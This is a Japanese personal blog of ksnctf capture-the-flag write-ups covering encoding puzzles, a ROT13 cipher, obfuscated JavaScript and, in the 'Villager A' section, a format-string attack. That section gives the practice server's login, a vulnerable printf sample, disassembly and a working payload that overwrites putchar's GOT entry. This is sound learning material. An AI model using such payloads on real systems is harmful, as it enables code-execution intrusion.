読者です 読者をやめる 読者になる 読者になる

かたはらいたし。

個人的な技術的な活動をまとめていきたい。

ksnctf #5 Onion

今回は70ptと比較的ポイントが低めなので簡単そうな問題に取り組んでみたいと思います。
ksnctf - 5 Onion

Problem

異様に長い文字列

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTV0ZKdGVGWlZNakExVmpBeFYySkVU
bGhoTWsweFZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdFdVZ3BpVlZwWVZtMTRj
MDB4V25GUmJVWlVUV3hLU1ZadGRHdFhRWEJwVW01Q1VGZFhNSGhpCk1WWlhWMjVHVW1KVldtRldh
a0Y0VGxaVmVXUkdaRmRWV0VKd1ZXcEtiMlJzV2tkWGJHUnJDazFXY0ZoV01qVlRZV3hLV0ZWdFJs
...

Answer

Onionってタイトルから最初はTorが関係してるのかって思いましたが違うみたい。
色々試行錯誤している内にbase64でデコードするとどんどん短くなっていくことに気づいた。
以下のように16回デコードすると意味ありげな文字列が出てくる。

$ echo [問題文] | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D
begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU

end

とりあえずbegin 666<data>でぐぐってみるとuuencodeなるものがあるらしい。(参考:uuencode - Wikipedia
uudecodeコマンドを使うとデコードできるらしいので、先ほどの出力結果をflag_c.txtに保存して以下のコマンドを実行。

$ uudecode flag_c.txt

すると現在のディレクトリにフラグが出力されているので、終了。

感想とか

問題のタイトルはヒントにもなるけど惑わされたりすることを学びました。
今回は標準コマンドだけでできたので大分楽だったんじゃないかな。

ksnctf #4 Villager A

この問題から脆弱性をついてフラグをゲットするような問題が増えてきています。
序盤ながら、ポイントも300ptとなかなか高めです。
ksnctf - 4 Villager A

Problem

SSH: ctfq.sweetduet.info:10022
ID: q4
Pass: q60SIMpLlej9eq49

SSHで指定されたサーバーにログインしろってことみたいですね。

Analyze

ちょっと一筋縄ではいかなさそうなので、少しずつやっていきます。

とりあえず実行してみる

とりあえず、SSHでログインしないことには始まらないので早速やってみます。

ssh -p 10022 q4@ctfq.sweetduet.info

んで、ログインしてとりあえず状況を見てみるとこんな感じ。

[q4@localhost ~]$ ls
flag.txt  q4  readme.txt

ファイルとしては、おそらくフラグが書かれているであろうflag.txtと実行ファイルのq4、説明が書いてあるreadme.txtがありました。
q4を実行してみます。

[q4@localhost ~]$ ./q4
What's your name?
tmsk8219
Hi, tmsk8219

Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.
[q4@localhost ~]$

名前を入力して、フラグがほしいか?という質問に対する答えを入力するみたいです。
ちなみに、noと答えるまでずっと同じ質問が繰り返されます。

脆弱性について

初めて取り組んだときにはサッパリわからなかったので、色々ネットで調べてみると、Format String Attackというのができるみたいです。
Format String Attackとは、以下のようなコードを実行した場合に有効な攻撃です。(参考:書式文字列攻撃 - Wikipedia

#include<stdio.h>

int main(void){
	char str[256];
	fgets(str, sizeof(str), stdin);
	printf(str);
	return 0;
}

このようにprintfの中身をprintf("%s", str)ではなくprintf(str)と書いてしまうと、

$ echo -e "aaaa %x %x %x %x %x %x %x %x %x %x" | ./a.out
aaaa 12068 100 103 40 7c190040 0 0 54a6cab0 0 61616161

書式指定子%xが与えられるとprintf("%x")となって、スタックの中身を表示してしまいます。
この場合、スタックの10番目のローカル領域にstrが格納されていることがわかります。

実際にやってみる

今回のq4に対してFormat String Attackをかけてみます。

[q4@localhost ~]$ echo -e "aaaa, %x, %x, %x, %x, %x, %x" | ./q4
What's your name?
Hi, aaaa, 400, 39d440, 8, 14, af0fc4, 61616161

Do you want the flag?

どうやらスタックの6番目のローカル領域に入力した値が格納されるようです。

次に、これらを踏まえた上で逆アセンブルしてみたいと思います。

[q4@localhost ~]$ objdump -d -M intel q4

q4:     file format elf32-i386


Disassembly of section .init:

08048424 <_init>:
 8048424:	55                   	push   ebp
 8048425:	89 e5                	mov    ebp,esp
 8048427:	53                   	push   ebx
 8048428:	83 ec 04             	sub    esp,0x4
 804842b:	e8 00 00 00 00       	call   8048430 <_init+0xc>
~(略)~

Disassembly of section .plt:

08048454 <__gmon_start__@plt-0x10>:
 8048454:	ff 35 d4 99 04 08    	push   DWORD PTR ds:0x80499d4
 804845a:	ff 25 d8 99 04 08    	jmp    DWORD PTR ds:0x80499d8
 8048460:	00 00                	add    BYTE PTR [eax],al
	...

08048464 <__gmon_start__@plt>:
 8048464:	ff 25 dc 99 04 08    	jmp    DWORD PTR ds:0x80499dc
 804846a:	68 00 00 00 00       	push   0x0
 804846f:	e9 e0 ff ff ff       	jmp    8048454 <_init+0x30>

08048474 <putchar@plt>:    ←putcharを実行する際呼ばれる・・・①
 8048474:	ff 25 e0 99 04 08    	jmp    DWORD PTR ds:0x80499e0
 804847a:	68 08 00 00 00       	push   0x8
 804847f:	e9 d0 ff ff ff       	jmp    8048454 <_init+0x30>

08048484 <fgets@plt>:
 8048484:	ff 25 e4 99 04 08    	jmp    DWORD PTR ds:0x80499e4
 804848a:	68 10 00 00 00       	push   0x10
 804848f:	e9 c0 ff ff ff       	jmp    8048454 <_init+0x30>
~(略)~

080485b4 <main>:
 80485b4:       55                      push   ebp
 80485b5:       89 e5                   mov    ebp,esp
 80485b7:       83 e4 f0                and    esp,0xfffffff0
 80485ba:       81 ec 20 04 00 00       sub    esp,0x420
 80485c0:       c7 04 24 a4 87 04 08    mov    DWORD PTR [esp],0x80487a4
 80485c7:       e8 f8 fe ff ff          call   80484c4 <puts@plt>
 80485cc:       a1 04 9a 04 08          mov    eax,ds:0x8049a04
 80485d1:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80485d5:       c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80485dc:       00
 80485dd:       8d 44 24 18             lea    eax,[esp+0x18]
 80485e1:       89 04 24                mov    DWORD PTR [esp],eax
 80485e4:       e8 9b fe ff ff          call   8048484 <fgets@plt>
 80485e9:       c7 04 24 b6 87 04 08    mov    DWORD PTR [esp],0x80487b6
 80485f0:       e8 bf fe ff ff          call   80484b4 <printf@plt>
 80485f5:       8d 44 24 18             lea    eax,[esp+0x18]
 80485f9:       89 04 24                mov    DWORD PTR [esp],eax
 80485fc:       e8 b3 fe ff ff          call   80484b4 <printf@plt>    ←入力された文字列を表示・・・②
 8048601:       c7 04 24 0a 00 00 00    mov    DWORD PTR [esp],0xa
 8048608:       e8 67 fe ff ff          call   8048474 <putchar@plt>    ←ここで'\n'を出力している・・・③
 804860d:       c7 84 24 18 04 00 00    mov    DWORD PTR [esp+0x418],0x1
 8048614:       01 00 00 00
 8048618:       eb 67                   jmp    8048681 <main+0xcd>
 804861a:       c7 04 24 bb 87 04 08    mov    DWORD PTR [esp],0x80487bb
 8048621:       e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:       a1 04 9a 04 08          mov    eax,ds:0x8049a04
 804862b:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 804862f:       c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 8048636:       00
 8048637:       8d 44 24 18             lea    eax,[esp+0x18]
 804863b:       89 04 24                mov    DWORD PTR [esp],eax
 804863e:       e8 41 fe ff ff          call   8048484 <fgets@plt>
 8048643:       85 c0                   test   eax,eax
 8048645:       0f 94 c0                sete   al
 8048648:       84 c0                   test   al,al
 804864a:       74 0a                   je     8048656 <main+0xa2>
 804864c:       b8 00 00 00 00          mov    eax,0x0
 8048651:       e9 86 00 00 00          jmp    80486dc <main+0x128>
 8048656:       c7 44 24 04 d1 87 04    mov    DWORD PTR [esp+0x4],0x80487d1
 804865d:       08
 804865e:       8d 44 24 18             lea    eax,[esp+0x18]
 8048662:       89 04 24                mov    DWORD PTR [esp],eax
 8048665:       e8 7a fe ff ff          call   80484e4 <strcmp@plt>
 804866a:       85 c0                   test   eax,eax
 804866c:       75 13                   jne    8048681 <main+0xcd>
 804866e:       c7 04 24 d5 87 04 08    mov    DWORD PTR [esp],0x80487d5
 8048675:       e8 4a fe ff ff          call   80484c4 <puts@plt>
 804867a:       b8 00 00 00 00          mov    eax,0x0
 804867f:       eb 5b                   jmp    80486dc <main+0x128>
 8048681:       8b 84 24 18 04 00 00    mov    eax,DWORD PTR [esp+0x418]
 8048688:       85 c0                   test   eax,eax
 804868a:       0f 95 c0                setne  al
 804868d:       84 c0                   test   al,al
 804868f:       75 89                   jne    804861a <main+0x66>
 8048691:       c7 44 24 04 e6 87 04    mov    DWORD PTR [esp+0x4],0x80487e6    ←ここからファイルの中身を表示している・・・④
 8048698:       08
 8048699:       c7 04 24 e8 87 04 08    mov    DWORD PTR [esp],0x80487e8
 80486a0:       e8 ff fd ff ff          call   80484a4 <fopen@plt>
 80486a5:       89 84 24 1c 04 00 00    mov    DWORD PTR [esp+0x41c],eax
 80486ac:       8b 84 24 1c 04 00 00    mov    eax,DWORD PTR [esp+0x41c]
 80486b3:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80486b7:       c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80486be:       00
 80486bf:       8d 44 24 18             lea    eax,[esp+0x18]
 80486c3:       89 04 24                mov    DWORD PTR [esp],eax
 80486c6:       e8 b9 fd ff ff          call   8048484 <fgets@plt>
 80486cb:       8d 44 24 18             lea    eax,[esp+0x18]
 80486cf:       89 04 24                mov    DWORD PTR [esp],eax
 80486d2:       e8 dd fd ff ff          call   80484b4 <printf@plt>
 80486d7:       b8 00 00 00 00          mov    eax,0x0
 80486dc:       c9                      leave
 80486dd:       c3                      ret
 80486de:       90                      nop
 80486df:       90                      nop

実際の処理としては、入力された文字を②で表示した後に③および①で\nを出力されているようです。
また、④以降ではfopenを行いフラグを表示する処理を行っているのですが、直前のjmpjneで実行を阻止されています。

そこで、方針としては②でFormat String Attackを使うことによってputcharを呼び出している③を④を呼び出すように書き換えます。
つまり、本来0x080499e0が参照している内容を0x08048691に書き換えます。
ここでは、0x080499e0に下位2バイト(0x86, 0x91)、0x080499e2に上位2バイト(0x08, 0x04)を格納します。
(※8 + 34441 = 0x8691, 8 + 34441 + 33139 = 0x0804)

[q4@localhost ~]$ echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

これでフラグゲットです。

感想とか

個人的にとても難しかったです。メモリについての知識がうろ覚えだったのでネットで転がっているヒントやらを参考に考えました。
正直、自分で答えにたどり着いたというよりはネットに書いてあったことを咀嚼した感の方が強いです。
でも今まで知らなかった書式指定子のhnを知ることができたのは良かったと思います。

ksnctf #3 Crawling Chaos

1問目と2問目は瞬殺だったんですが、この3問目で初めて躓きました。
ksnctf - 3 Crawling Chaos

Problem

http://ksnctf.sweetduet.info/q/3/unya.html

URL先のunya.htmlに飛ぶと、テキストボックスと送信ボタンがあるだけで、他には何もありません。

Answer

とりあえず、ブラウザの機能でソースを除いてみると、JavasScriptとして、以下のコード?が埋め込まれていました。

(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー,(〳ᆞωᆞ)=(ᒧᆞωᆞ),(〳ᆞωᆞ).〳にゃー=- -!(ᒧᆞωᆞ).ᒧうー,(ᒧᆞωᆞ).ᒧうーー=(〳ᆞωᆞ).〳にゃー- -!(ᒧᆞωᆞ).ᒧうー,(略)

これ、調べてみて初めて知ったんですが、JavaScriptエンコードの一種のようです。
(」・ω・)」うー!(/・ω・)/にゃー!encodeによると、

JavaScriptのコードを(」・ω・)」うー!(/・ω・)/にゃー!します。
変換後のコードはJavaScriptとして実行可能です。

とのことで、JavaScriptを入力するとそれに対応した(」・ω・)」うー!(/・ω・)/にゃー!語(?)を出力してくれます。

この(」・ω・)」うー!(/・ω・)/にゃー!語はブラウザで実行することによって通常のJavaScriptと同じ振る舞いをしてくれるそうなので、先ほどのページのソースを見てみます。
ChromeではうまいことJQueryで読めなかったのでFireFoxのDevelopper Toolを使ってみると、上記の(」・ω・)」うー!(/・ω・)/にゃー!は以下のように動作することがわかりました。

function() {
  var t = $('input[type="text"]').val();
  var p = Array(70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449);
  var f = false;
  if (p.length == t.length) {
    f = true;
    for (var i = 0; i < p.length; i++)
      if (t.charCodeAt(i) * (i + 1) != p[i]) f = false;
    if (f) alert("(」・ω・)」うー!(/・ω・)/にゃー!");
  }
  if (!f) alert("No");
  return false;
}

整数i(0 < i < 配列pの要素数)について(i番目の文字の文字コード)*(i-1) = p[i]成り立てばいいみたいなので、逆変換を行ってみます。

import sys

p = [70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449];
answer = []
i = 0
for _p in p:
        if i != 0:
                answer.append(chr(_p / (i + 1)))
        else:
                answer.append(chr(_p))
        i = i + 1

for a in answer:
        sys.stdout.write(a)

これでフラグゲットです。ちなみにこれをテキストボックスに入力すると、(」・ω・)」うー!(/・ω・)/にゃー!とアラートがでます。

感想とか

これはもう、知ってるか知らないかの話になってくると思うんで自分の知識不足を感じました。
幸いJavaScriptについては少し勉強したことがあったので、JQueryのコードさえ見つけることができればすぐにできました。

ksnctf #2 Easy Cipher

1問目は書いてあるフラグを入力するだけの簡単なものだったのですが、2問目からはいよいよ問題を解いていきます。

ksnctf - 2 Easy Cipher

Problem

問題文には何やらアルファベットの羅列が。

EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT.

ところどころスペースが空いているので、文章であることが予想できそうです。

Answer

これはもう暗号の勉強をちょっとでもかじったことがある人なら知っているシーザー暗号ってやつですな。(参考:シーザー暗号 - Wikipedia

元々シーザー暗号はアルファベットを辞書順に3文字ずらすのが基本みたいなのですが、この手の問題では3文字じゃないことの方が多いと思います。

で、何文字ずらすのかを推測するためにどこを見ればいいのかというと、1行目のvfnです。

英語の文章で2文字っていうと、僕の場合まず考えられるのがisです。1文字でいうとaIかなって感じですね。ここでvf->isだとすると、辞書順に13文字ずれていることがわかります。念の為nを13文字ずらしてみるとaになっているので大丈夫そうです。

あとは、自分で1文字ずつずらしてもいいんですが、それも面倒なのでオンライン上のツールを使って復号します。

Caesar cipher decryption tool • Code is poetryを使って復号すると以下の文字列が出力されます。

ROT XIII is a simple letter substitution cipher that replaces a letter with the letter XIII letters after it in the alphabet. ROT XIII is an example of the Caesar cipher, developed in ancient Rome. Flag is ********************. Insert an underscore immediately after FLAG.

Flag is 以下のフラグにアンダースコア_を挿入してフラグゲットです。

感想とか

最初の問題から考えると急にCTFぽく(?)なってきた感じがしました。とはいってもまだまだ有名どころの暗号なんでかなり簡単な方なのかな。

今回は最後の復号のところで、オンライン上のツールを使ったけど、プログラミングスキルを向上させるためには自分でコード書いたほうがよかったのかも。

と思ったので書いてみたけど、無駄が多そう。

#!/usr/bin/env python
# coding: UTF-8

import sys

str = 'EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT.'
for x in str:
	x = ord(x)	# xをASCIIコードに変換

	if 65 < x & x < 90:		# A~Zの場合
		x = x + 13
		if x > 90:
			x = x - 26

	elif 97 < x & x < 122:	# a~zの場合
		x = x + 13
		if x > 122:
			x = x - 26

	sys.stdout.write(chr(x))

ksnctf #1 Test Problem

前回の記事で書いた通り、ちょっとずつksnctfの解答をまとめていきたいと思います。

というわけで、記念すべき第1問目。

ksnctf - 1 Test Problem

Problem

This is a test problem. Submit the following flag and make sure that you can get points.

Answer

・・・まんまやないか!

まぁ1問目なのでしょうがないですね。

問題文の下に書いてあるフラグをテキストボックスに入力して終了です。

CTFはじめました

前回macを購入した記事を書いてから色々投稿していきたいと思ってたけど、なんだかんだ半年以上経ちました。

主に研究やらインターンやら就活やらで中々こういった時間を取れなかったのが原因かな。

CTFはじめました

以前から、CTFの存在自体はもちろん知ってはいたし興味はあったんですが、大会とか全然参加するような行動力はありませんでした。

ところが、就活中に友人からksnctfなるものを教えてもらいました。これは、オンライン上で常設されているCTFの一つで、この界隈では入門用の問題として人気を集めているそうな。

入門とはいっても、全部で36問ある問題にはそれぞれ難易度毎にポイントが割り振られていて、Twitterのアカウントと紐付けることによって、累計獲得ポイントをランキングするなど結構本格的。しかも、 結構難しい。

4月に始めてネット上に転がってるヒントを参考にしつつ、今までに半分くらいは解けたのでちょっとずつまとめていこうと思います。

でも、Flagは公開しちゃダメみたいな暗黙のルールがあるので考え方とかまとめていけたらいいかなって思ってます。

mac買ってプログラミングをはじめました

mac買いました

4月に今のアルバイトを始めた当初からずっと買おうかどうか迷ってたmacbook買っちゃいました。

というのも、就活で東京に行く新幹線で整備済み品*1のページを見ると、2015年3月発売のmacbook Pro(13inch)が14万ちょいであったから。

メモリとかCPUはデフォルトのまま、ストレージだけ256GBのやつで、唯一のネックがJISキーボードだったところなんですが、でもまぁ、数万円安くなるしこれでいいかって妥協でぽちりました。

 

プログラミングはじめました

今までも研究とかでプログラミングはやってたけど、授業とか研究とかでやったくらいで、あんまりクリエイティブな感じでプログラミングはしていませんでした。

ずっとPythonとかのスクリプト言語でなんかつくってみたいなーって思ってたし、せっかくmac買ったんだからちょっとまじめにいろいろ作ってみようかと。

とりあえず手始めにTwitter APIとかで遊んでみたり、アルバイト先の業務を楽にするためのスクリプトとか作ってますが、詳細は追々ということで・・・。

*1:店頭商品、返品商品、初期不良品などを修理調整し、新品水準並みの品質を確認したアップル認定製品